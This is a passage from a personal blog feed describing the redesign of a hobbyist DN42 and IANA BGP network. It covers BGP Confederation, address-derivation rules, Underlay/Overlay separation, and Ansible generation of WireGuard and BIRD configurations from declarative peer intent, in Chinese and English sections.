        OI[&quot;IANA上游 / 对等&quot;]
        OC[&quot;IANA下游&quot;]
        KF[&quot;Linux内核FIB&amp;lt;br/&amp;gt;实际报文转发&quot;]
    end

    IU --&amp;gt; IUF
    IP --&amp;gt; IPF
    ID --&amp;gt; IDF
    DT --&amp;gt; DTF
    DX --&amp;gt; DXF
    LU --&amp;gt; STF
    LO --&amp;gt; STF

    IUF --&amp;gt; META
    IPF --&amp;gt; META
    IDF --&amp;gt; META
    DTF --&amp;gt; META
    DXF --&amp;gt; META
    STF --&amp;gt; META

    META --&amp;gt; RIB
    RIB &amp;lt;--&amp;gt; CONFED
    CONFED --- WG
    WG --- UNDERLAY
    RIB --- OVERLAY

    RIB --&amp;gt; DEXP
    RIB --&amp;gt; DXEXP
    RIB --&amp;gt; IEXP
    RIB --&amp;gt; DOWNEXP
    RIB --&amp;gt; KEXP

    DEXP --&amp;gt; CLEAN --&amp;gt; OD
    DXEXP --&amp;gt; CLEAN --&amp;gt; OX
    IEXP --&amp;gt; CLEAN --&amp;gt; OI
    DOWNEXP --&amp;gt; CLEAN --&amp;gt; OC
    KEXP --&amp;gt; KF

    class IU,IP,ID,DT,DX ext;
    class LU,LO local;
    class IUF,IPF,IDF,DTF,DXF,STF filter;
    class META,RIB,CONFED,WG,UNDERLAY,OVERLAY core;
    class DEXP,DXEXP,IEXP,DOWNEXP,KEXP,CLEAN export;
    class OD,OX,OI,OC,KF ext;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;自动化: 把网络意图编译成配置&lt;/h1&gt;
&lt;p&gt;前面讲了这么多 IPAM, Confederation AS, Underlay / Overlay 和 BGP Community, 这些设计如果最后还是靠手写配置维护, 那其实并没有真正解决问题, 只是把复杂度从一种形式搬到了另一种形式. 在这次重构之前, 新增一个节点或者 peer 往往需要同时修改很多地方:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WireGuard 配置: interface 名称, listen port, peer public key, endpoint, allowed IPs&lt;/li&gt;
&lt;li&gt;BIRD 配置: BGP protocol 名称, neighbor 地址, neighbor interface, ASN, import/export filter&lt;/li&gt;
&lt;li&gt;IPAM 相关配置: loopback, link-local, router id, overlay 地址&lt;/li&gt;
&lt;li&gt;部署相关配置: 哪些节点需要渲染, 哪些服务需要重启&lt;/li&gt;
&lt;li&gt;一些特殊情况: NAT 后面的节点, passive peer, 特殊 local AS, 特殊 filter&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些东西在逻辑上其实描述的是同一件事: &lt;strong&gt;两个节点之间存在一条属于某个路由域的连接&lt;/strong&gt;.&lt;br /&gt;
但是在手工配置里, 它们会散落在 WireGuard, BIRD, network interface, systemd/openrc 等多个地方. 只要其中一个字段漏改或者不一致, 就可能出现很诡异的问题, 比如 WireGuard 已经起来了, 但是 BIRD neighbor 指向了错误的 interface; 或者 link-local 改了, 但是对端 session 里还写着旧地址.&lt;/p&gt;
&lt;p&gt;所以这次重构里, 我不希望 Ansible 只是一个&quot;把 YAML 填进 Jinja2 模板&quot;的工具. 如果只是把原来的手写配置搬进模板, 本质上还是在维护一堆低层配置, 只是换了个文件格式而已. 既然都上自动化了, 那输入不应该是&quot;我要生成一个长什么样的配置文件&quot;, 而应该是:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个节点是谁&lt;/li&gt;
&lt;li&gt;它属于哪个 tier / region&lt;/li&gt;
&lt;li&gt;它和谁互联&lt;/li&gt;
&lt;li&gt;这条连接属于 DN42, IANA 还是 Intra&lt;/li&gt;
&lt;li&gt;这条连接应该使用什么 import/export policy&lt;/li&gt;
&lt;li&gt;它是否有 NAT, passive, endpoint override 之类的特殊约束&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;至于具体的 WireGuard interface 怎么写, BIRD session 怎么写, link-local 地址是什么, 这些都应该尽量由自动化系统根据规则生成.&lt;/p&gt;
&lt;h2&gt;Source of Truth: 节点状态而不是配置文件&lt;/h2&gt;
&lt;p&gt;这套自动化的输入主要放在 Ansible 的 &lt;code&gt;host_vars&lt;/code&gt; 里, 每个节点的变量不再只是模板渲染需要的参数, 而是这个节点在网络里的身份描述. 例如一个节点至少会有:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tier&lt;/code&gt;: 节点层级, 比如 backbone, IX, 普通 node&lt;/li&gt;
&lt;li&gt;&lt;code&gt;region&lt;/code&gt;: 节点所在区域&lt;/li&gt;
&lt;li&gt;&lt;code&gt;node_id&lt;/code&gt;: 同区域内的节点编号&lt;/li&gt;
&lt;li&gt;&lt;code&gt;node_token&lt;/code&gt;: 一个稳定的 16-bit token, 用来生成 IPv6 地址尾部&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些字段会被用于 IPAM 的地址管理和 Confederation 内节点的识别信息 (就像前面提到的, AS 计算和 IP 地址派生). 这样做的好处是, 新节点加入时, 我们只需要给这个节点配置好基本的元数据, 它在 underlay 里的所有基础身份就都是确定的. 这可以大量减少后续维护工作. 如果 link-local 地址是手写在每个 BIRD session 里的, 那么一旦节点 token 或地址规则发生变化, 所有对端都要一起改; 但如果 BIRD neighbor 地址是根据 peer node 的 metadata 自动派生出来的, 那么它永远和 source of truth 保持一致.&lt;/p&gt;
&lt;h2&gt;Domain Intent: peer 声明式配置&lt;/h2&gt;
&lt;p&gt;这次自动化里最重要的抽象是 &lt;strong&gt;Domain Intent&lt;/strong&gt;, 也就是将 Session 和与之对应的 WireGuard 隧道绑定视作一个整体, 再按照所属网络类型 (DN42/IANA/Intra) 进行区域划分. 以 Intra peer 为例, 一条内部连接本质上同时需要两类配置:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WireGuard interface, 用来提供传输层隧道&lt;/li&gt;
&lt;li&gt;BIRD BGP session, 用来在这条隧道上交换路由&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果手动维护, 这两部分很容易重复描述同样的信息:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;interface name&lt;/li&gt;
&lt;li&gt;peer node&lt;/li&gt;
&lt;li&gt;listen port&lt;/li&gt;
&lt;li&gt;endpoint&lt;/li&gt;
&lt;li&gt;neighbor interface&lt;/li&gt;
&lt;li&gt;BGP protocol name&lt;/li&gt;
&lt;li&gt;import/export policy&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以我们将常规 Intra peer 抽象成一条 peer intent. 简化之后大概像这样:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- node: tyo03-jp
  interface: intra_tyo03
  wireguard:
    listen_port: 10234
    passive: true
  bgp:
    protocol: intra_ibgp_tyo03
    ipv4:
      import_policy: full
      export_policy: full
    ipv6:
      import_policy: full
      export_policy: full
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这条声明并不是直接对应某一个配置文件, 而是对 Peer 意图进行描述:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当前节点和 &lt;code&gt;tyo03-jp&lt;/code&gt; 之间有一条名为 &lt;code&gt;intra_tyo03&lt;/code&gt; 的内部连接, 这条连接使用 WireGuard 承载, 并在其上建立一条 Intra BGP session, BGP policy 使用 &lt;code&gt;full&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;之后 Ansible 基于此自动渲染对应 WireGuard 和 BIRD 配置.&lt;/p&gt;
&lt;p&gt;这样, 一个 peer 关系只需要描述一次, 后面的低层配置都由自动化生成. 例如 BIRD neighbor 的 link-local 地址不需要手写, 可以通过对端节点的 &lt;code&gt;tier / region / node_token&lt;/code&gt; 自动得到; WireGuard endpoint 也可以根据对端 inventory 里的 &lt;code&gt;ansible_host&lt;/code&gt; 和对端回程 peer 的 &lt;code&gt;listen_port&lt;/code&gt; 自动推导.&lt;/p&gt;
&lt;p&gt;这样做最大的优点是可以避免多个配置层之间出现状态不一致.&lt;/p&gt;
&lt;h2&gt;自动派生 endpoint 与 passive peer&lt;/h2&gt;
&lt;p&gt;在我的内网架构中, 并不是所有节点都有完全对称的公网可达性, 比如有的节点 / DN42 Peer 在 NAT 后面, 只能主动连出去, 有些隧道需要固定某一端作为监听, 由另一端主动发起连接, 因此 peer intent 里需要支持被动监听这样的特殊情况. 如果一个 peer 不是 passive, 自动化可以尝试从对端 inventory 中读取 &lt;code&gt;ansible_host&lt;/code&gt;, 再结合对端声明中的 &lt;code&gt;listen_port&lt;/code&gt;, 自动生成 WireGuard endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;endpoint = peer_ansible_host + &quot;:&quot; + peer_return_listen_port
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果 peer 标记为 passive, 则不渲染 endpoint, 让对端主动发起连接.&lt;/p&gt;
&lt;p&gt;本质上 endpoint 是由&quot;对端如何被访问&quot;和&quot;对端监听哪个端口&quot;共同决定的, 这两个信息本来就已经存在于 inventory 和 peer intent 里, 没必要再复制一遍. 当然, 对于特别奇怪的链路, 保留最基础的手动覆盖 endpoint. 自动化的目标不是消灭所有特殊情况, 而是让常规情况不需要特殊处理.&lt;/p&gt;
&lt;h2&gt;通用场景 &amp;amp; 例外&lt;/h2&gt;
&lt;p&gt;其实就是为了特殊情况考虑的 Fallback:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;历史遗留 tunnel&lt;/li&gt;
&lt;li&gt;DN42 上承载的特殊内部 peer&lt;/li&gt;
&lt;li&gt;NAT 后面的节点&lt;/li&gt;
&lt;li&gt;临时 workaround&lt;/li&gt;
&lt;li&gt;对端要求奇怪的 BGP 参数&lt;/li&gt;
&lt;li&gt;某些 session 需要特殊 local AS&lt;/li&gt;
&lt;li&gt;某些路由只想进入 IANA domain, 不应该进入 DN42 domain&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后保留的设计是: 大部分普通 Intra peer 可以通过 domain intent 生成 WireGuard + BIRD, DN42 peer 的 WireGuard 也可以从 DN42 peer intent 里生成, 但是一些特殊 BIRD session, 比如需要单独指定 &lt;code&gt;local_as&lt;/code&gt;, 或者需要使用特殊导出策略的 session, 仍然可以继续用低层配置显式声明. 最终渲染前, Ansible 会把生成的配置和 legacy/manual override 合并成最终配置.&lt;/p&gt;
&lt;p&gt;这样做的好处是, 自动化覆盖了 90% 重复且容易出错的部分, 同时给剩下 10% 特殊情况也预留了位置.&lt;/p&gt;
&lt;h2&gt;配置渲染&lt;/h2&gt;
&lt;p&gt;整个渲染过程大概可以理解成这样:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart TD
    A[host_vars: node metadata + domain intent] --&amp;gt; B[materialize domain intent]

    B --&amp;gt; C[effective_wireguard_interfaces]
    B --&amp;gt; D[effective_intra_ibgp_sessions]

    C --&amp;gt; E[render wg-quick configs]
    D --&amp;gt; F[render BIRD intra sessions]

    A --&amp;gt; G[render BIRD root / DN42 / IANA modules]
    A --&amp;gt; H[render underlay / overlay interfaces]

    E --&amp;gt; I[.rendered-wireguard]
    F --&amp;gt; J[.rendered]
    G --&amp;gt; J
    H --&amp;gt; K[.rendered-network]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里有三类最终产物:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.rendered/&lt;/code&gt;: BIRD 配置&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rendered-wireguard/&lt;/code&gt;: WireGuard 配置&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rendered-network/&lt;/code&gt;: underlay / overlay dummy interface 配置&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;BIRD 配置里又分成几个模块, 这部分是通过 Jinja2 Templates 编写的, 实际拆分 Overlay Network 也是通过这里:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;root config: 全局 define, include, kernel protocol&lt;/li&gt;
&lt;li&gt;DN42 module: DN42 filter, RPKI, eBGP peer, IX peer&lt;/li&gt;
&lt;li&gt;IANA module: upstream, downstream, peer, RPKI, static route&lt;/li&gt;
&lt;li&gt;Intra module: confederation-style BGP session, static route, internal filter&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些模块是否 include, 也尽量由数据自动决定, 比如一个节点没有 DN42 peer, 就不需要渲染和 include &lt;code&gt;ebgp.conf&lt;/code&gt;; 没有 IX session, 就不需要 include &lt;code&gt;ix.conf&lt;/code&gt;. 这可以减少空配置和无意义 include, 也避免某些节点因为缺少相关变量导致模板渲染失败.&lt;/p&gt;
&lt;h2&gt;验证 &amp;amp; 部署&lt;/h2&gt;
&lt;p&gt;最终部署流程还添加了一些检查和验证阶段:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;render BIRD&lt;/li&gt;
&lt;li&gt;validate BIRD&lt;/li&gt;
&lt;li&gt;render WireGuard&lt;/li&gt;
&lt;li&gt;validate WireGuard&lt;/li&gt;
&lt;li&gt;deploy dummy interfaces&lt;/li&gt;
&lt;li&gt;deploy WireGuard&lt;/li&gt;
&lt;li&gt;deploy BIRD&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;BIRD 配置先在本地渲染和验证, 尽量提前发现语法错误; WireGuard 配置也先渲染和验证, 避免缺 key 或者生成出明显非法的 wg-quick 配置; 最后验证都通过了再部署底层 interfaces + WireGuard, 最后才上传并 reload BIRD.&lt;/p&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;我不行了这文章给我写力竭了, 这玩意的架构用线性的语言叙述怎么这么难&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;理顺之后代码基本上都交给 AI 写的, 效果还行, 如需参考可查阅 &lt;a href=&quot;https://github.com/iYoRoy-Network/bird2-config/tree/dev/ansible&quot;&gt;bird2-config/ansible at dev · iYoRoy-Network/bird2-config&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;这套方案的适用情形其实挺窄的, DN42 + IANA 这种 BGP Player 场景还是太小众了 xD. 而且这套方案能正常运行, 很大一部分原因是 IANA 的前缀和 DN42 以及我自己的内网选择的网段完全不冲突, 若 Transit 网段存在冲突的话, 可能还是得考虑 VRF/MPLS L3VPN 这类正儿八经 ISP 会用的隔离方案.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;参考文章:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/article/modify-website/bird-confederation.lantian/&quot;&gt;Bird 配置 BGP Confederation, 及模拟 Confederation（2020-06-07 更新） - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://heiok.com/bgp-transit-and-peering.html&quot;&gt;浅谈 BGP 中的 Transit（中转）与 Peering（对等互联） | 网络蝙蝠侠部落&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>DN42&amp;OneManISP – Confederation, Automation, IPAM and Overlay Network</title><link>https://blog.iyoroy.cn/posts/en-309/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-309/</guid><description>Restructuring a network carrying DN42 and clearnet traffic with BGP Confederation, IPAM, and Large Communities, then generating WireGuard and BIRD configs from node metadata with Ansible.</description><pubDate>Fri, 24 Jul 2026 10:56:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This article does not go into implementation details in depth; it only records the internal network architecture design process and automation ideas. If you need reference code or configuration files, please see &lt;a href=&quot;https://github.com/iYoRoy-Network/bird2-config&quot;&gt;iYoRoy-Network/bird2-config: BIRD2 Configuration for iYoRoy Network (AS4242422024, AS205369)&lt;/a&gt;. The repository contains a significant amount of AI-generated code.
&lt;em&gt;This article only borrows the logical layering concept of Underlay/Overlay (base layer/business layer), specifically referring to the separation of address roles, and does not involve tunneling encapsulation technologies such as VXLAN/GRE.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;The entire internal network architecture was refactored. What was originally a horizontally split network based on “DN42 / IANA / WireGuard / BIRD config files” was transformed into a set of infrastructure organised by network intent. The final design can be summarised as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use WireGuard to carry underlay transport between nodes;&lt;/li&gt;
&lt;li&gt;Use BGP Confederation instead of OSPF / full-mesh iBGP as the internal routing backbone;&lt;/li&gt;
&lt;li&gt;Separate node identity and service addresses with Underlay / Overlay;&lt;/li&gt;
&lt;li&gt;Automatically derive AS, loopback and link-local addresses from Tier / Region / Node ID / Token;&lt;/li&gt;
&lt;li&gt;Use BGP Large Community to express route origin, propagation scope and export policy;&lt;/li&gt;
&lt;li&gt;Use Ansible to compile high-level peer intent into WireGuard + BIRD + interface configurations and deploy them automatically.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;In some earlier articles from these two series, we successfully brought up a DN42 AS and an IANA AS, with the same infrastructure carrying traffic for both networks simultaneously. In a previous post, &lt;a href=&quot;https://blog.iyoroy.cn/en/archives/208/&quot;&gt;DN42&amp;amp;OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment - iYoRoy&apos;s Develop Diary&lt;/a&gt;, there was already some initial separation and isolation for the two networks. However, as the number of nodes grew, manually maintaining the WireGuard and BIRD configuration files for this whole thing became more and more complex. Moreover, public network nodes also needed to interconnect and provide mutual IP transit, so in the end I decided to do a thorough refactoring of this entire internal network.&lt;/p&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;h2&gt;Problems with the Old Architecture&lt;/h2&gt;
&lt;p&gt;Before the refactoring, DN42 routes between nodes were mutually propagated, using OSPF over WireGuard as the IGP, with full-mesh iBGP on top to carry full routing information between border routers. For IANA traffic, nodes were completely isolated from each other, with each node independently advertising its own /48 IANA IPv6 prefix.&lt;/p&gt;
&lt;p&gt;To sum up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WireGuard was responsible for tunnels between nodes;&lt;/li&gt;
&lt;li&gt;OSPF over WireGuard was responsible for the IGP;&lt;/li&gt;
&lt;li&gt;DN42 border routers ran full-mesh iBGP on top;&lt;/li&gt;
&lt;li&gt;IANA nodes basically each independently advertised their own public prefixes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This architecture worked well when there were few nodes, but problems started to become apparent as the number of nodes increased:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WireGuard, OSPF, and BIRD configurations had to be maintained separately;&lt;/li&gt;
&lt;li&gt;Adding a new node required changes in multiple places, making it easy to miss something;&lt;/li&gt;
&lt;li&gt;Routing policies for DN42 and IANA influenced each other, yet the configuration was scattered;&lt;/li&gt;
&lt;li&gt;Cross-PoP scheduling of IANA prefixes was not natural;&lt;/li&gt;
&lt;li&gt;Some nodes were only transit nodes but were forced to have an overlay identity;&lt;/li&gt;
&lt;li&gt;Source address selection, route leaks, and exposure of internal addresses became increasingly difficult to control.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Design Goals and BGP Confederation&lt;/h2&gt;
&lt;p&gt;The main goals for this refactoring were:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Adding nodes should be simple: ideally, only the node identity and peer relationships need to be described;&lt;/li&gt;
&lt;li&gt;DN42, IANA and the internal backbone should be able to share infrastructure while remaining policy-isolated from each other;&lt;/li&gt;
&lt;li&gt;IP addresses should be schedulable resources, not fixed identities of nodes;&lt;/li&gt;
&lt;li&gt;The internal topology should not leak to external BGP peers;&lt;/li&gt;
&lt;li&gt;Configurations should be generated from declarative data, not by handwriting lots of repetitive WireGuard/BIRD sessions;&lt;/li&gt;
&lt;li&gt;The deployment process should be automated.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There were also several other, more detailed requirements:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Some IANA nodes should be able to carry IP transit for other nodes, using an IANA PoP to advertise public IPs for other nodes;&lt;/li&gt;
&lt;li&gt;Currently, the IANA AS is maintained jointly by &lt;a href=&quot;https://leziblog.com/&quot;&gt;たのしい&lt;/a&gt; and myself; we need to coordinate, with some infrastructure needing mutual transit and route tuning;&lt;/li&gt;
&lt;li&gt;We only have one 44Net IPv4 /24 (sponsored by たのしい); if we want to advertise it, all nodes would need iBGP interconnection and an IGP, otherwise only a single PoP can use it;&lt;/li&gt;
&lt;li&gt;The IANA AS needs to accept downstreams;&lt;/li&gt;
&lt;li&gt;Route optimization is needed between IANA PoPs.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The previous IANA IPv6 prefix assignment rule followed &lt;strong&gt;Continent 3 bits&lt;/strong&gt; + &lt;strong&gt;Region 3 bits&lt;/strong&gt; + &lt;strong&gt;Multi-node within region 2 bits&lt;/strong&gt;, carving several /48s out of a complete /40. However, due to certain upstream limitations on the number of advertised prefixes, and because such fragmented prefixes are unfavourable for IPAM, we planned to eventually aggregate external advertisements only to the continent level, and then handle more detailed parts via internal iBGP routing.&lt;/p&gt;
&lt;p&gt;The internal network structure on たのしい&apos;s side is BGP Confederation, implemented with a manually simulated approach.&lt;/p&gt;
&lt;p&gt;Actually, after this analysis, defining the internal network architecture became quite straightforward: the most suitable solution was to switch the internal network to BGP Confederation as well, and then utilise the concept of &quot;BGP as IGP&quot; to advertise /32 and /128 routes within the confederation to handle internal routing. At the same time, because a confederation avoids the split-horizon characteristic of traditional iBGP, it doesn&apos;t require strict full-mesh, nor does it need separate iBGP instances, making it very decentralized xD.&lt;/p&gt;
&lt;p&gt;Furthermore, BGP Confederation can be easily merged with たのしい&apos;s infrastructure, requiring only that both sides treat the other&apos;s internal ASes as confederation ASes.&lt;/p&gt;
&lt;p&gt;This solution has another benefit, because the containment relationship of our infrastructure is actually like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph 
    subgraph 4242423377 Infrastructure
        3377_DN42_PoP[DN42 PoP]
        3377_IANA_PoP[IANA PoP]
    end
    subgraph 4242422024 Infrastructure
        2024_DN42_PoP[DN42 PoP]
        2024_IANA_PoP[IANA PoP]
    end
    3377_IANA_PoP &amp;lt;==Cross-Infra Confederation==&amp;gt; 2024_IANA_PoP
    3377_DN42_PoP &amp;lt;--&amp;gt; DN42 &amp;lt;--&amp;gt; 2024_DN42_PoP
    3377_IANA_PoP &amp;lt;--&amp;gt; IANA &amp;lt;--&amp;gt; 2024_IANA_PoP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our DN42 PoPs and transit are isolated, but the IANA PoPs and transit are interconnected. In the BGP Confederation scenario, we can use filters + BGP (Large) Community to isolate route origins while still exchanging IANA traffic engineering intents, achieving a single standard usable across both infrastructures.&lt;/p&gt;
&lt;h2&gt;Overlay and IPAM&lt;/h2&gt;
&lt;p&gt;In the old design, a node often simultaneously held two identities:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It was a router in the network;&lt;/li&gt;
&lt;li&gt;It was also a service address holder reachable within DN42 / IANA.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After the refactoring, I decided to separate these two identities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Underlay: the node&apos;s identity as a router, used for internal interconnection, next-hop, tunnels, and forwarding;&lt;/li&gt;
&lt;li&gt;Overlay: the DN42 / IANA address used when the node provides services to the outside world or accepts traffic.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This way, a node can only participate in forwarding without having a DN42 IPv4 address; it can also temporarily announce a certain overlay /32 or /128 when needed.&lt;/p&gt;
&lt;p&gt;In practical application scenarios, my DN42 address space is not very abundant; I originally registered a /28, with only 16 usable addresses. Some nodes, like IEPL tunnel nodes or IX nodes, only perform forwarding roles, do not need to host services, and do not need to be connected from the outside. Therefore, theoretically they do not need to be assigned independent, reachable DN42/IANA addresses.&lt;/p&gt;
&lt;p&gt;Moreover, since we had already decided to switch the internal network to BGP Confederation, based on this configuration we could re-plan the originally horizontally split DN42 + IANA network structure into a vertical Underlay + Overlay division. DN42 and IANA addresses/traffic become the payload of the upper-layer Overlay Network, while the lower-layer Underlay Network serves as the infrastructure for underlying communication and forwarding between nodes. In this scenario, IP addresses become resources that can be easily scheduled within the internal network, rather than unique IDs bound to a node.&lt;/p&gt;
&lt;p&gt;The advantages are clear:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Saves scarce address resources: transit nodes can have only an underlay identity, without needing DN42 IPv4 or public addresses;&lt;/li&gt;
&lt;li&gt;Anycast and address migration: Overlay addresses become resources schedulable via BGP, no longer tightly bound to a specific machine;&lt;/li&gt;
&lt;li&gt;Hides transit nodes: pure transit nodes do not need to expose globally reachable addresses, making it harder for outsiders to directly probe the internal topology;&lt;/li&gt;
&lt;li&gt;Easy new node onboarding: new nodes join the underlay first, and overlay addresses are assigned when they need to carry services;&lt;/li&gt;
&lt;li&gt;Elegant transit delivery: IANA PoPs can deliver customer prefixes or service addresses to other nodes via the internal confederation.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Design&lt;/h1&gt;
&lt;p&gt;In summary, the final design consisted of the following IPAM mechanism and automation workflow.&lt;/p&gt;
&lt;p&gt;Each node possesses some basic metadata:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tier: indicates the node&apos;s purpose, e.g., backbone, IX access, or intra-net node&lt;/li&gt;
&lt;li&gt;Region: the continent region where the node is located&lt;/li&gt;
&lt;li&gt;ID: the node&apos;s ID within that region&lt;/li&gt;
&lt;li&gt;Token: a random 16-bit string assigned to the node, used as a unique ID for the node under IPv6&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For Tier and Region, several tables were created as data sources:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tier&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Backbone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;IX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Backbone + IX Mixed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Node&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Region&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Reserved&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Asia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Europe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Africa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;North America&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;South America&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Oceania&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Antarctica&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Confederation AS: 4220240000 – 4220249999&lt;/h4&gt;
&lt;p&gt;Assignment rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;422024{tier}{region}{node_id:02d}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where &lt;code&gt;tier&lt;/code&gt; indicates the node&apos;s purpose, &lt;code&gt;region&lt;/code&gt; indicates the area where the node is located, and the last two digits &lt;code&gt;node_id&lt;/code&gt; distinguish different nodes within the same region.&lt;/p&gt;
&lt;h4&gt;Underlay IPAM&lt;/h4&gt;
&lt;p&gt;IPv4 Prefix: 100.64.0.0/16&lt;br /&gt;
Assignment rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;100.64.{tier*10 + region}.{node_id}/32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPv6 Prefix: fd18:3e15:61d0:ffff::/64&lt;br /&gt;
Assignment rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fd18:3e15:61d0:ffff:{tier}:{region}::{node_token}/128
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To simplify the automation workflow, I also intended to bring the link-local addresses between WireGuard tunnels under automated management, generating them using the aforementioned Tier, Region, and Token, with the automation scripts generating WireGuard configuration and automatically setting up the tunnel and confederation BGP session.&lt;br /&gt;
The link-local assignment rule generally follows the normal IPv6 rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fe80::2024:{tier}:{region}:{node_token}/64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thus, each node only needs to be assigned its metadata to automatically generate the internal network confederation AS and addresses according to the rules above.&lt;/p&gt;
&lt;h4&gt;Overlay IPAM&lt;/h4&gt;
&lt;p&gt;The DN42 IPv4 part is assigned manually. This part has some historical legacy architecture, and changes need to be merged into the official registry, so I plan to assign it manually.&lt;br /&gt;
The Underlay IPv6 is itself DN42-reachable; if other DN42 IPv6 addresses need to be allocated, they can simply be advertised on demand.&lt;/p&gt;
&lt;p&gt;For IANA IPv6, the current design format is to first calculate the continent /43 according to the initially proposed rule, e.g., for Asia:&lt;/p&gt;
